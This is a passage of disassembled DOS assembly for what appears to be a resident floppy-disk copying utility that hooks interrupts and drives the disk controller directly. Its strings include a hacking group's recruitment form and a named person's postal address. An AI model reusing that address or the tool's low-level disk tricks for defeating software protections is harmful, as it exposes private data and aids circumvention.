0Ch + db 20h,0B3h, 01h, 15h, 20h,0B3h + db 01h, 11h, 20h,0B3h, 01h, 19h + db 20h,0BAh,0BAh, 01h, 0Ch, 20h + db 0B3h, 01h, 15h, 20h,0B3h, 01h + db 11h, 20h,0B3h, 01h, 19h, 20h + db 0BAh,0BAh, 01h, 0Ch, 20h,0B3h + db 01h, 15h, 20h,0B3h, 01h, 11h + db 20h,0B3h, 01h, 19h, 20h,0BAh + db 0BAh, 01h, 0Ch, 20h,0B3h, 01h + db 15h, 20h,0B3h, 01h, 11h, 20h + db 0B3h, 01h, 19h, 20h,0BAh,0BAh + db 01h, 0Ch, 20h,0B3h, 01h, 15h + db 20h,0B3h, 01h, 11h, 20h,0B3h + db 01h, 19h, 20h,0BAh,0CCh, 01h + db 0Ch,0CDh,0CFh, 01h, 15h,0CDh + db 0CFh, 01h, 11h,0CDh,0CFh, 01h + db 19h,0CDh,0B9h,0BAh, 01h, 4Eh + db 20h,0BAh,0BAh, 01h, 15h + db 20h, 50h + db 'ress Any Key To Return To Main M' + db 'enu' + db 01h, 15h, 20h,0BAh,0BAh, 01h + db 4Eh, 20h,0BAh,0C8h, 01h, 4Eh + db 0CDh,0BCh, 01h, 87h,0D0h, 1Fh + db 0Dh, 0Ah, 0Dh, 0Ah, 20h + db 9 dup (20h) + db 0ADh + db 'aHa/nBa! Application Form! ' + db ' ', 0Dh + db 0Ah, 'What file is this?', 0Dh, 0Ah + db ' Where Did ' + db 'you get it from?', 0Dh, 0Ah, ' ' + db ' Handle:', 0Dh, 0Ah + db ' Phone #:', 0Dh, 0Ah, ' ' + db ' ', 0Dh, 0Ah, ' ' + db ' List 3 boards whe' + db 're you could be reached at: ', 0Dh + db 0Ah, 0Dh, 0Ah, ' ' + db ' Can y' + db 'ou HaCK?', 0Dh, 0Ah, ' ' + db ' List a fe' + db 'w thigs you', 27h, 've hacked:', 0Dh + db 0Ah, 0Dh, 0Ah, ' ' + db ' Ok! Send MoneY, pft,' + db ' and this letter to:', 0Dh, 0Ah, ' ' + db ' Psycho', 0Dh + db 0Ah, ' 1340 W Irving', 0Dh + db 0Ah, ' #229', 0Dh, 0Ah, ' ' + db ' Chicago, IL', 0Dh, 0Ah, ' 60' + db '613', 0Dh, 0Ah, ' ' + db ' Ok! No' + db 'w, write about yourself: ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ', 0Ch, 0 + db '.' + db 80h, 3Eh, 2Dh, 02h, 00h, 74h + db 08h, 2Eh,0FEh, 0Eh, 2Dh, 02h + db 0EBh, 09h, 90h + db 2Eh,0F6h, 06h, 2Eh, 02h, 80h + db 75h, 05h +loc_32: + jmp dword ptr cs:[195h] +loc_33: + mov word ptr cs:[1EAh],ax + mov al,0Bh + out 20h,al ; port 20h, 8259-1 int command + jmp short $+2 ; delay for I/O + in al,20h ; port 20h, 8259-1 int IRR/ISR + and al,0FEh + mov ax,word ptr cs:[1EAh] + jz loc_34 ; Jump if zero + jmp short loc_32 +loc_34: + mov word ptr cs:[1FCh],ax + mov word ptr cs:[1FEh],bx + mov word ptr cs:[208h],sp + mov word ptr cs:[20Eh],ss + mov word ptr cs:[20Ch],ds + mov word ptr cs:[210h],es + mov word ptr cs:[20Ah],bp + mov word ptr cs:[204h],si + mov word ptr cs:[206h],di + mov word ptr cs:[200h],cx + mov word ptr cs:[202h],dx + mov ds,word ptr cs:[1E2h] + mov ss,word ptr ds:[1DAh] + mov sp,word ptr ds:[1DCh] + mov es,word ptr ds:[1E4h] + mov bp,word ptr ds:[1E0h] + mov si,word ptr ds:[1D8h] + mov di,word ptr ds:[1DEh] + mov ax,word ptr ds:[1D0h] + mov bx,word ptr ds:[1D2h] + mov cx,word ptr ds:[1D4h] + mov dx,word ptr ds:[1D6h] + jmp dword ptr cs:[195h] + mov word ptr cs:[1F8h],ds + mov word ptr cs:[1F6h],ax + mov word ptr cs:[1FAh],bx + mov ds,cs:data_25 + mov bx,keybd_flags_1_ + mov ah,[bx] + and ah,0Fh + cmp ah,0Bh + jne loc_36 ; Jump if not equal + test byte ptr cs:[22Eh],0C0h + jz loc_35 ; Jump if zero + test byte ptr cs:[22Eh],40h ; '@' + jz loc_36 ; Jump if zero + or byte ptr cs:[22Eh],20h ; ' ' + jmp short loc_36 + db 90h +loc_35: + or byte ptr cs:[22Eh],80h +loc_36: + mov ax,word ptr cs:[1F6h] + mov ds,word ptr cs:[1F8h] + mov bx,word ptr cs:[1FAh] + jmp dword ptr cs:[199h] + db 2Eh, 80h, 3Eh, 2Fh, 02h, 00h + db 74h, 0Dh, 2Eh,0C6h, 06h, 2Fh + db 02h, 00h, 50h,0B0h, 66h,0E6h + db 20h, 58h,0CFh +loc_37: + jmp dword ptr cs:[19Dh] + test dl,80h + jnz loc_38 ; Jump if not zero + test byte ptr cs:[22Eh],40h ; '@' + jz loc_38 ; Jump if zero + mov word ptr cs:[1EAh],ax + pop ax + pop ax + pop ax + or ax,1 + push ax + sub sp,4 + mov ax,word ptr cs:[1EAh] + mov ah,80h + iret ; Interrupt return +sub_2 endp + + +; +; SUBROUTINE +; + +sub_6 proc near +loc_38: + jmp dword ptr cs:[1A1h] + mov byte ptr ds:[22Eh],40h ; '@' + call sub_28 + jnc loc_40 ; Jump if carry=0 + clc ; Clear carry flag +loc_39: + call sub_11 + jmp loc_121 +loc_40: + mov ds,data_25 + test byte ptr ds:dsk_motor_stat_,0Fh + push cs + pop ds + jnz loc_39 ; Jump if not zero + call sub_22 + call sub_23 +loc_41: + mov ax,55Ch + mov cs:data_93,ax + call sub_21 + mov data_112,70h ; 'p' + call sub_27 + call sub_13 +loc_42: + mov ah,0 + int 16h ; Keyboard i/o ah=function 00h + ; get keybd char in al, ah=scan + cmp al,1Bh + je loc_48 ; Jump if equal + cmp al,0Dh + je loc_49 ; Jump if equal + cmp ah,48h ; 'H' + je loc_50 ; Jump if equal + cmp ah,50h ; 'P' + je loc_53 ; Jump if equal + and al,0DFh + cmp al,50h ; 'P' + je loc_43 ; Jump if equal + cmp al,52h ; 'R' + je loc_47 ; Jump if equal + cmp al,45h ; 'E' + je loc_48 ; Jump if equal + cmp al,53h ; 'S' + je loc_44 ; Jump if equal + cmp al,46h ; 'F' + je loc_45 ; Jump if equal + cmp al,54h ; 'T' + je loc_46 ; Jump if equal + call sub_11 + jmp short loc_42 +loc_43: + jmp loc_137 +loc_44: + jmp short loc_55 + db 90h +loc_45: + jmp loc_145 +loc_46: + jmp loc_149 +loc_47: + jmp loc_151 +loc_48: + jmp loc_154 +loc_49: + mov al,3 + mul data_107 ; ax = data * al + add ax,offset loc_43 + jmp ax ;*Register jump +loc_50: + mov data_112,1Fh + call sub_27 + cmp data_107,0 + je loc_52 ; Jump if equal + dec data_107 + sub data_110,3 +loc_51: + mov data_112,70h ; 'p' + call sub_27 + jmp short loc_42 +loc_52: + mov data_107,5 + mov data_110,15h + jmp short loc_51 +loc_53: + mov data_112,1Fh + call sub_27 + cmp data_107,5 + je loc_54 ; Jump if equal + inc data_107 + add data_110,3 + jmp short loc_51 +loc_54: + mov data_107,0 + mov data_110,6 + jmp short loc_51 +loc_55: + call sub_19 + mov data_190,3120h + cmp data_28,1 + jne loc_56 ; Jump if not equal + mov data_29,0 + jmp short loc_60 + db 90h +loc_56: + mov dh,0Dh + mov dl,18h + mov si,232h + call sub_14 + call sub_13 + mov ah,0 + int 16h ; Keyboard i/o ah=function 00h + ; get keybd char in al, ah=scan + cmp al,1Bh + jne loc_57 ; Jump if not equal + jmp loc_41 +loc_57: + cmp al,0Dh + je loc_60 ; Jump if equal + and al,0DFh + sub al,41h ; 'A' + jge loc_59 ; Jump if > or = +loc_58: + call sub_11 + jmp short loc_55 +loc_59: + cmp al,data_28 + jge loc_58 ; Jump if > or = + mov data_29,al + add al,41h ; 'A' + mov byte ptr ds:[24Eh],al ; ('A') + mov data_183,al + mov data_188,al +loc_60: + call sub_19 + call sub_37 + test byte ptr [bx],1 + jz loc_63 ; Jump if zero + mov dh,10h + mov dl,14h + test byte ptr [bx],2 + jnz loc_61 ; Jump if not zero + mov si,251h + jmp short loc_62 + db 90h +loc_61: + mov si,27Eh +loc_62: + call sub_14 + call sub_13 + mov al,31h ; '1' + mov data_102,al + mov al,[si-3] + mov data_103,al + mov data_89,1331h + call sub_16 + and byte ptr [si-3],0FEh + or [si-3],al + xor al,1 + xor data_31,ax +loc_63: + mov ax,data_31 + call sub_39 +loc_64: + call sub_20 + mov dh,0Bh + mov dl,14h + mov si,2ABh + call sub_14 + call sub_38 + cmp data_101,0 + je loc_69 ; Jump if equal + mov ax,word ptr ds:[137h] + mov bx,ax + cmp data_101,1 + jne loc_65 ; Jump if not equal + xchg bh,bl + xor bl,bl ; Zero register + sub al,30h ; '0' + jmp short loc_67 + db 90h +loc_65: + sub al,27h ; ''' + cmp al,0Ah + jg loc_64 ; Jump if > + jz loc_66 ; Jump if zero + xor al,al ; Zero register +loc_66: + sub ah,30h ; '0' + add al,ah + cmp al,0Bh + jg loc_64 ; Jump if > +loc_67: + cmp al,0 + je loc_64 ; Jump if equal + mov data_96,al + or bl,20h ; ' ' + cmp bl,30h ; '0' + jne loc_68 ; Jump if not equal + mov bl,20h ; ' ' +loc_68: + mov data_191,bx + mov data_182,bx +loc_69: + mov data_100,0F5h + mov data_95,0 + mov data_99,0 + call sub_20 + mov dh,0Ah + mov dl,18h + mov si,2DAh + call sub_14 + mov dh,0Ch + mov dl,13h + mov si,2FBh + call sub_14 + call sub_13 +loc_70: + mov ah,0 + int 16h ; Keyboard i/o ah=function 00h + ; get keybd char in al, ah=scan + cmp al,0Dh + je loc_72 ; Jump if equal + cmp al,1Bh + jne loc_71 ; Jump if not equal + jmp loc_41 +loc_71: + call sub_11 + jmp short loc_70 +loc_72: + mov data_82,1525h + cli ; Disable interrupts + pushf ; Push flags + push cs + mov ax,201h + mov bx,28E9h + mov cx,1 + mov dl,data_29 + xor dh,dh ; Zero register + call sub_6 + jnc loc_78 ; Jump if carry=0 + clc ; Clear carry flag + test ah,80h + jz loc_78 ; Jump if zero + call sub_11 + xor cx,cx ; Zero register + +locloop_73: + loop locloop_73 ; Loop if cx > 0 + + call sub_11 + call sub_56 + call sub_20 + mov dh,0Ah + mov dl,20h ; ' ' + mov si,3DAh + call sub_14 +loc_74: + mov dh,0Eh + mov dl,20h ; ' ' + mov si,40Fh + call sub_14 + call sub_13 +loc_75: + mov ah,0 + int 16h ; Keyboard i/o ah=function 00h + ; get keybd char in al, ah=scan + cmp al,1Bh + je loc_77 ; Jump if equal + and al,0DFh + cmp al,52h ; 'R' + jne loc_76 ; Jump if not equal + jmp data_82 +loc_76: + cmp al,41h ; 'A' + je loc_77 ; Jump if equal + call sub_11 + jmp short loc_75 +loc_77: + jmp loc_135 +loc_78: + call sub_24 + call sub_61 + or byte ptr ds:[22Eh],80h + cli ; Disable interrupts + call sub_7 +loc_79: + call sub_52 + call sub_60 + mov data_82,1596h + call sub_64 + test data_73,0C0h + jz loc_80 ; Jump if zero + call sub_64 + test data_73,0C0h + jz loc_80 ; Jump if zero + jmp loc_123 +loc_80: + call sub_74 + test data_73,0C0h + jz loc_81 ; Jump if zero + jmp short loc_83 + db 90h +loc_81: + cmp byte ptr ds:[230h],0 + je loc_82 ; Jump if equal + mov ax,word ptr ds:[243Dh] + cmp data_218,ax + jne loc_82 ; Jump if not equal + mov ax,word ptr ds:[243Fh] + cmp data_219,ax + jne loc_82 ; Jump if not equal + jmp loc_117 +loc_82: + cmp byte ptr data_214,0EBh + jne loc_83 ; Jump if not equal + cmp data_217,200h + jne loc_83 ; Jump if not equal + mov data_84,1626h + jmp short loc_84 + db 90h +loc_83: + mov data_84,1623h +loc_84: + call sub_77 + jnc loc_85 ; Jump if carry=0 + jmp loc_123 +loc_85: + test al,40h ; '@' + jz loc_87 ; Jump if zero +loc_86: + mov data_62,3 + jmp loc_125 +loc_87: + mov byte ptr ds:[230h],0 +loc_88: + mov data_82,161Fh +loc_89: + jmp data_84 + call sub_78 + mov data_68,28E9h + mov ax,word ptr data_60 + mov data_67,ax + mov data_69,42h ; 'B' + mov data_70,0E6h + mov data_85,27F1h + call sub_75 + test data_73,0C0h + jz loc_95 ; Jump if zero + test data_74,20h ; ' ' + jz loc_90 ; Jump if zero + cmp data_94,2 + je loc_93 ; Jump if equal + inc data_94 + jmp short loc_91 + db 90h +loc_90: + mov data_94,0 +loc_91: + call sub_65 + test data_73,0C0h + jz loc_92 ; Jump if zero + jmp loc_123 +loc_92: + mov data_84,1623h + jmp short loc_88 +loc_93: + mov data_94,0 + cmp data_65,0 + jne loc_94 ; Jump if not equal + jmp loc_105 +loc_94: + call sub_51 +loc_95: + cmp data_64,0 + jne loc_97 ; Jump if not equal + mov data_64,1 +loc_96: + jmp short loc_89 +loc_97: + call sub_9 + mov data_82,161Fh + mov data_64,0 + inc data_65 + inc data_63 + cmp data_31,0 + jne loc_98 ; Jump if not equal + inc data_63 +loc_98: + call sub_46 + cmp data_63,50h ; 'P' + jge loc_99 ; Jump if > or = + call sub_63 + test data_73,0C0h + jz loc_96 ; Jump if zero + call sub_65 + test data_73,0C0h + jz loc_96 ; Jump if zero + jmp short loc_100 + db 90h +loc_99: + mov data_65,0 + mov data_63,0 + mov data_66,1 + mov data_64,0 + mov data_59,0 + call sub_63 + test data_73,0C0h + jz loc_101 ; Jump if zero + call sub_65 + test data_73,0C0h + jz loc_101 ; Jump if zero +loc_100: + mov data_62,40h ; '@' + jmp loc_125 +loc_101: + mov data_82,1712h + call sub_78 + cmp data_64,1 + je loc_102 ; Jump if equal + mov data_64,1 + jmp short loc_101 +loc_102: + call sub_52 + mov ds,data_25 + mov ax,word ptr ds:timer_low_+1 + push cs + pop ds + mov word ptr ds:[243Dh],ax +loc_103: + mov data_82,1738h + mov data_64,0 + mov data_68,2416h + mov data_67,1FFh + mov data_69,4Ah ; 'J' + mov data_70,0C5h + mov data_85,27F1h + call sub_75 + test data_73,0C0h + jz loc_106 ; Jump if zero + test data_74,2 + jz loc_104 ; Jump if zero + jmp loc_86 +loc_104: + cmp data_94,0 + jne loc_105 ; Jump if not equal + inc data_94 + call sub_65 + test data_73,0C0h + jz loc_103 ; Jump if zero + jmp loc_123 +loc_105: + mov data_62,20h ; ' ' + jmp loc_125 +loc_106: + call sub_53 + mov byte ptr ds:[21Ah],2 + mov al,byte ptr ds:[242Bh] + mov data_214,al + mov data_215,0FFFFh + mov word ptr ds:[223h],0 + mov word ptr ds:[21Fh],0 + mov word ptr ds:[212h],139h +loc_107: + mov cx,80h + mov si,word ptr ds:[212h] +loc_108: + mov word ptr ds:[218h],cx + mov word ptr ds:[214h],si + call sub_55 + sub ax,word ptr ds:[21Fh] + test cx,[si] + jz loc_113 ; Jump if zero + cmp ax,200h + jl loc_109 ; Jump if < + mov word ptr ds:[21Bh],ax + call sub_49 + call sub_53 + call sub_50 + mov ax,word ptr ds:[21Bh] + sub ax,200h +loc_109: + mov di,offset data_214 + add di,ax + mov al,data_56 + cbw ; Convrt byte to word + cmp al,9 + jne loc_110 ; Jump if not equal + clc ; Clear carry flag + rcr ax,1 ; Rotate thru carry + adc ax,0 +loc_110: + mov cx,ax + mov si,word ptr ds:[229h] +loc_111: + mov bx,225h + mov ax,[bx+si] + mov bx,[di] + or ax,bx + cld ; Clear direction + stosw ; Store ax to es:[di] + xor si,2 + nop ;*ASM fixup - sign extn byte + jz loc_112 ; Jump if zero + dec di +loc_112: + dec cx + jnz loc_111 ; Jump if not zero + mov word ptr ds:[21Dh],di + jmp short loc_114 + db 90h +loc_113: + cmp ax,200h + jl loc_114 ; Jump if < + call sub_49 + call sub_53 + call sub_50 +loc_114: + mov word ptr ds:[21Bh],ax + mov al,data_56 + cbw ; Convrt byte to word + add word ptr ds:[223h],ax + mov ax,word ptr ds:[21Bh] + mov cx,word ptr ds:[218h] + mov si,word ptr ds:[214h] + shr cx,1 ; Shift w/zeros fill + jz loc_115 ; Jump if zero + jmp loc_108 +loc_115: + inc word ptr ds:[212h] + mov ax,word ptr ds:[212h] + cmp ax,word ptr ds:[216h] + je loc_116 ; Jump if equal + jmp loc_107 +loc_116: + call sub_49 + call sub_54 + mov di,data_100 + mov ax,word ptr ds:[243Fh] + xchg ah,al + cld ; Clear direction + stosw ; Store ax to es:[di] + mov ax,word ptr ds:[243Dh] + xchg ah,al + stosw ; Store ax to es:[di] + mov ax,word ptr data_98 + stosw ; Store ax to es:[di] + mov data_100,di + inc data_95 + inc data_99 + call sub_12 + mov al,data_96 + cmp data_95,al + je loc_119 ; Jump if equal +loc_117: + mov byte ptr ds:[230h],1 + mov ds,data_25 + mov byte ptr ds:dsk_motor_tmr_,2 + push cs + pop ds + mov data_92,3AAh + call sub_45 + mov cx,88h + +locloop_118: + call sub_7 + call sub_9 + mov cx,word ptr ds:[22Bh] + mov data_82,1596h + loop locloop_118 ; Loop if cx > 0 + + jmp loc_79 +loc_119: + mov data_92,3C2h + call sub_45 + mov data_107,2 + mov data_110,0Ch +loc_120: + mov data_81,130Dh + mov byte ptr ds:[230h],0 + call sub_8 +loc_121: + and byte ptr ds:[22Eh],0 + mov sp,2B84h + mov ax,202h + push ax + push cs + mov ax,data_81 + push ax + mov word ptr cs:[1DCh],sp +loc_122: + mov ss,word ptr ds:[20Eh] + mov sp,word ptr ds:[208h] + mov es,word ptr ds:[210h] + mov bp,word ptr ds:[20Ah] + mov si,word ptr ds:[204h] + mov di,word ptr ds:[206h] + mov ax,word ptr ds:[1FCh] + mov bx,word ptr ds:[1FEh] + mov cx,word ptr ds:[200h] + mov dx,word ptr ds:[202h] + mov ds,word ptr ds:[20Ch] + iret ; Interrupt return +loc_123: + mov byte ptr ds:[22Fh],0 + mov dx,3F2h + mov al,8 + out dx,al ; port 3F2h, dsk0 contrl output + cmp byte ptr ds:[230h],0 + je loc_124 ; Jump if equal + jmp loc_117 +loc_124: + mov data_62,80h +loc_125: + mov data_92,3B6h + call sub_45 + call sub_12 + mov byte ptr ds:[22Dh],6 + call sub_7 + call sub_12 + call sub_8 + mov data_81,195Dh + jmp short loc_121 +sub_6 endp + +loc_126: + and byte ptr cs:[22Eh],7Fh + call sub_28 + jnc loc_128 ; Jump if carry=0 + clc ; Clear carry flag + call sub_11 + test byte ptr ds:[22Eh],20h ; ' ' + jnz loc_127 ; Jump if not zero + jmp loc_121 +loc_127: + jmp loc_120 +loc_128: + call sub_22 + call sub_23 + call sub_56 + call sub_20 + cmp data_62,80h + je loc_129 ; Jump if equal + cmp data_62,3 + je loc_132 ; Jump if equal + cmp data_62,40h ; '@' + je loc_131 ; Jump if equal + cmp data_62,20h ; ' ' + je loc_130 ; Jump if equal + mov dh,0Ah + mov dl,1Eh + mov si,441h + call sub_14 + jmp short loc_133 + db 90h +loc_129: + mov dh,0Ah + mov dl,20h ; ' ' + mov si,3DAh + call sub_14 + jmp short loc_133 + db 90h +loc_130: + mov dh,0Ah + mov dl,18h + mov si,420h + call sub_14 + jmp short loc_133 + db 90h +loc_131: + mov dh,0Ah + mov dl,22h ; '"' + mov si,402h + call sub_14 + jmp short loc_133 + db 90h +loc_132: + mov dh,0Ah + mov dl,1Dh + mov si,3EBh + call sub_14 +loc_133: + mov dh,0Eh + mov dl,20h ; ' ' + mov data_62,0 + mov si,40Fh + call sub_14 + call sub_13 +loc_134: + mov ah,0 + int 16h ; Keyboard i/o ah=function 00h + ; get keybd char in al, ah=scan + cmp al,1Bh + je loc_135 ; Jump if equal + and al,0DFh + cmp al,52h ; 'R' + je loc_136 ; Jump if equal + cmp al,41h ; 'A' + je loc_135 ; Jump if equal + call sub_11 + jmp short loc_134 +loc_135: + call sub_24 + mov data_107,0 + mov data_110,6 + jmp loc_120 +loc_136: + call sub_24 + cli ; Disable interrupts + mov byte ptr ds:[22Eh],0C0h + call sub_7 + call sub_65 + mov cx,5 + jmp data_82 +loc_137: + call sub_19 + mov dh,0Dh + mov dl,15h + mov si,457h + call sub_14 + call sub_13 +loc_138: + mov ah,0 + int 16h ; Keyboard i/o ah=function 00h + ; get keybd char in al, ah=scan + cmp al,1Bh + je loc_144 ; Jump if equal + cmp al,0Dh + je loc_139 ; Jump if equal + call sub_11 + jmp short loc_138 +loc_139: + call sub_19 + mov dh,0Dh + mov dl,21h ; '!' + mov si,47Fh + call sub_14 + call sub_13 + mov bp,0A2Bh +loc_140: + mov ah,2 + xor dx,dx ; Zero register + int 17h ; Printer dx=prn1, ah=func 02h + ; read status, ah=return status + test ah,10h + jz loc_143 ; Jump if zero + mov al,[bp] + cmp al,0 + je loc_144 ; Jump if equal + xor ah,ah ; Zero register + xor dx,dx ; Zero register + int 17h ; Printer dx=prn1, ah=func 00h + ; print char al, get status ah + test ah,29h ; ')' + jnz loc_141 ; Jump if not zero + inc bp + jmp short loc_140 +loc_141: + call sub_19 + mov dh,0Ch + mov dl,23h ; '#' + mov si,48Dh +loc_142: + call sub_14 + mov data_82,1A2Eh + jmp loc_74 +loc_143: + call sub_19 + mov dh,0Ch + mov dl,1Eh + mov si,499h + jmp short loc_142 +loc_144: + jmp loc_41 +loc_145: + cmp data_95,0 + jne loc_147 ; Jump if not equal + call sub_19 + mov dh,0Dh + mov dl,20h ; ' ' + mov si,38Dh + call sub_14 +loc_146: + mov dh,0Fh + mov dl,16h + mov si,368h + call sub_14 + call sub_13 + jmp short loc_148 + db 90h +loc_147: + mov ax,838h + mov cs:data_93,ax + call sub_21 + call sub_31 +loc_148: + mov ah,0 + int 16h ; Keyboard i/o ah=function 00h + ; get keybd char in al, ah=scan + mov data_107,5 + mov data_110,15h + jmp loc_41 +loc_149: + cmp data_187,6666h + je loc_150 ; Jump if equal + mov data_187,6666h + jmp loc_41 +loc_150: + mov data_187,206Eh + jmp loc_41 +loc_151: + mov ax,11E0h + mov di,20h ; (' ') + call sub_30 + jc loc_152 ; Jump if carry Set + mov ax,12E6h + mov di,offset data_42 + call sub_30 + jc loc_152 ; Jump if carry Set + mov ax,12CCh + mov di,offset data_38 + call sub_30 + jc loc_152 ; Jump if carry Set + mov ax,127Ah + mov di,24h ; (' ') + call sub_30 + jnc loc_153 ; Jump if carry=0 +loc_152: + clc ; Clear carry flag + call sub_19 + mov dh,0Ch + mov dl,8 + mov si,327h + call sub_14 + jmp loc_146 +loc_153: + xor ax,ax ; Zero register + mov word ptr data_24,ax + mov si,offset 195h + mov di,20h ; (' ') + call sub_29 + mov si,offset 199h + mov di,24h ; (' ') + call sub_29 + mov si,offset 19Dh + mov di,offset data_38 + call sub_29 + mov si,offset 1A1h + mov di,offset data_42 + call sub_29 + mov es,data_26 + mov di,data_2e + xor ax,ax ; Zero register + stosw ; Store ax to es:[di] + mov es,data_27 + mov di,data_2e + xor ax,ax ; Zero register + stosw ; Store ax to es:[di] + push cs + pop es + call sub_24 + call sub_7 +loc_154: + mov data_107,0 + mov data_110,6 + call sub_24 + jmp loc_121 + +; +; SUBROUTINE +; + +sub_7 proc near + add byte ptr ds:[22Dh],1 + cli ; Disable interrupts + mov word ptr ds:[1D0h],ax + pop ax + pushf ; Push flags + push cs + push ax + mov word ptr ds:[1DCh],sp + mov word ptr ds:[1D2h],bx + mov word ptr ds:[1DAh],ss + mov word ptr ds:[1E2h],ds + mov word ptr ds:[1E4h],es + mov word ptr ds:[1E0h],bp + mov word ptr ds:[1D8h],si + mov word ptr ds:[1DEh],di + mov word ptr ds:[1D4h],cx + mov word ptr ds:[1D6h],dx + jmp loc_122 +sub_7 endp + + +; +; SUBROUTINE +; + +sub_8 proc near + mov al,data_29 + cbw ; Convrt byte to word + mov di,ax + mov ds,data_25 + and byte ptr ds:hdsk0_media_st_[di],0EFh + mov byte ptr ds:dsk_motor_tmr_,2 + mov byte ptr ds:dsk_recal_stat_,0 + push cs + pop ds + retn +sub_8 endp + + +; +; SUBROUTINE +; + +sub_9 proc near + mov word ptr ds:[22Bh],cx + test byte ptr ds:[22Eh],20h ; ' ' + jz loc_ret_155 ; Jump if zero + pop ax + mov data_82,ax + jmp loc_126 + +loc_ret_155: + retn +sub_9 endp + + +; +; SUBROUTINE +; + +sub_10 proc near + mov ah,0Eh + mov bh,0 + int 10h ; Video display ah=functn 0Eh + ; write char al, teletype mode + retn +sub_10 endp + + +; +; SUBROUTINE +; + +sub_11 proc near + push ax + push bx + mov al,7 + call sub_10 + pop bx + pop ax + retn +sub_11 endp + + +; +; SUBROUTINE +; + +sub_12 proc near + call sub_7 + mov al,0B6h + out 43h,al ; port 43h, 8253 wrt timr mode + mov ax,180h + out 42h,al ; port 42h, 8253 timer 2 spkr + mov al,ah + out 42h,al ; port 42h, 8253 timer 2 spkr + in al,61h ; port 61h, 8255 port B, read + or al,3 + out 61h,al ; port 61h, 8255 B - spkr, etc + call sub_7 + in al,61h ; port 61h, 8255 port B, read + and al,0FCh + out 61h,al ; port 61h, 8255 B - spkr, etc + ; al = 0, disable parity + retn +sub_12 endp + + +; +; SUBROUTINE +; + +sub_13 proc near + mov ah,2 + mov dx,2000h + mov bh,data_104 + int 10h ; Video display ah=functn 02h + ; set cursor location in dx + retn +sub_13 endp + + +; +; SUBROUTINE +; + +sub_14 proc near + mov ah,2 + mov bh,0 + int 10h ; Video display ah=functn 02h + ; set cursor location in dx + call sub_15 + retn +sub_14 endp + + +; +; SUBROUTINE +; + +sub_15 proc near +loc_156: + cld ; Clear direction + lodsb ; String [si] to al + cmp al,0 + je loc_ret_157 ; Jump if equal + mov ah,0Eh + mov bh,0 + int 10h ; Video display ah=functn 0Eh + ; write char al, teletype mode + jmp short loc_156 + +loc_ret_157: + retn +sub_15 endp + + +; +; SUBROUTINE +; + +sub_16 proc near +loc_158: + mov ah,0 + int 16h ; Keyboard i/o ah=function 00h + ; get keybd char in al, ah=scan + cmp al,1Bh + jne loc_159 ; Jump if not equal + pop ax + jmp data_89 +loc_159: + cmp al,0Dh + jne loc_160 ; Jump if not equal + mov al,data_103 + jmp short loc_161 + db 90h +loc_160: + cmp al,30h ; '0' + jl loc_162 ; Jump if < + cmp al,data_102 + jg loc_162 ; Jump if > +loc_161: + and ax,7 + retn +loc_162: + call sub_11 + jmp short loc_158 +sub_16 endp + + +; +; SUBROUTINE +; + +sub_17 proc near + mov cx,0FA0h + shr cx,1 ; Shift w/zeros fill + cld ; Clear direction + lodsb ; String [si] to al + inc si + xchg ah,al +loc_163: + lodsb ; String [si] to al + dec cx + jz loc_165 ; Jump if zero + inc si + cmp ah,al + jne loc_164 ; Jump if not equal + inc bx + jmp short loc_163 +loc_164: + call sub_26 + jmp short loc_163 +loc_165: + call sub_26 + retn +sub_17 endp + + +; +; SUBROUTINE +; + +sub_18 proc near + push ds + push es + mov si,data_1e + mov di,data_16e + mov bx,0 + mov ds,cs:data_91 + mov es,cs:data_91 + call sub_17 + mov si,data_2e + mov bx,0 + call sub_17 + pop es + pop ds + retn +sub_18 endp + + +; +; SUBROUTINE +; + +sub_19 proc near + mov ax,4ADh + mov data_93,ax + call sub_21 + retn +sub_19 endp + + +; +; SUBROUTINE +; + +sub_20 proc near + mov ax,6F7h + mov data_93,ax + call sub_21 + retn +sub_20 endp + + +; +; SUBROUTINE +; + +sub_21 proc near + push cx + push dx + push si + push di + push ax + xor di,di ; Zero register + mov si,cs:data_93 +loc_166: + lodsb ; String [si] to al + cmp al,1 + jne loc_169 ; Jump if not equal + lodsw ; String [si] to ax + mov cx,ax + test cl,80h + jz loc_167 ; Jump if zero + xchg ch,cl + and cx,7FFFh + lodsb ; String [si] to al + jmp short locloop_168 + db 90h +loc_167: + xchg al,ah + and cx,7Fh + +locloop_168: + call sub_25 + loop locloop_168 ; Loop if cx > 0 + + jmp short loc_170 + db 90h +loc_169: + call sub_25 +loc_170: + cmp di,0FA0h + jl loc_166 ; Jump if < + jnz loc_171 ; Jump if not zero + mov di,1 + jmp short loc_166 +loc_171: + pop ax + pop di + pop si + pop dx + pop cx + retn +sub_21 endp + + +; +; SUBROUTINE +; + +sub_22 proc near + push ds + mov ds,data_91 + mov si,data_4e + mov di,offset data_115 + mov cx,7 + cld ; Clear direction + repe cmpsw ; Rep zf=1+cx >0 Cmp [si] to es:[di] + pop ds + cmp cx,0 + jne loc_ret_172 ; Jump if not equal + mov data_92,0D5h + call sub_44 + +loc_ret_172: + retn +sub_22 endp + + +; +; SUBROUTINE +; + +sub_23 proc near + mov ah,0Fh + int 10h ; Video display ah=functn 0Fh + ; get state, al=mode, bh=page + ; ah=columns on screen + mov ah,3 + int 10h ; Video display ah=functn 03h + ; get cursor loc in dx, mode cx + mov data_104,bh + mov data_105,cx + mov data_106,dx + call sub_18 + retn +sub_23 endp + + +; +; SUBROUTINE +; + +sub_24 proc near + mov data_93,1000h + mov ax,data_91 + push ds + mov ds,ax + call sub_21 + pop ds + mov bh,data_104 + mov dx,data_106 + mov ah,2 + int 10h ; Video display ah=functn 02h + ; set cursor location in dx + mov ah,1 + mov cx,data_105 + int 10h ; Video display ah=functn 01h + ; set cursor mode in cx + retn +sub_24 endp + + +; +; SUBROUTINE +; + +sub_25 proc near + push es + mov es,cs:data_91 + mov dx,cs:data_90 + cli ; Disable interrupts + push ax +loc_173: + in al,dx ; port 0, DMA-1 bas&add ch 0 + test al,1 + jnz loc_173 ; Jump if not zero +loc_174: + in al,dx ; port 0, DMA-1 bas&add ch 0 + test al,1 + jz loc_174 ; Jump if 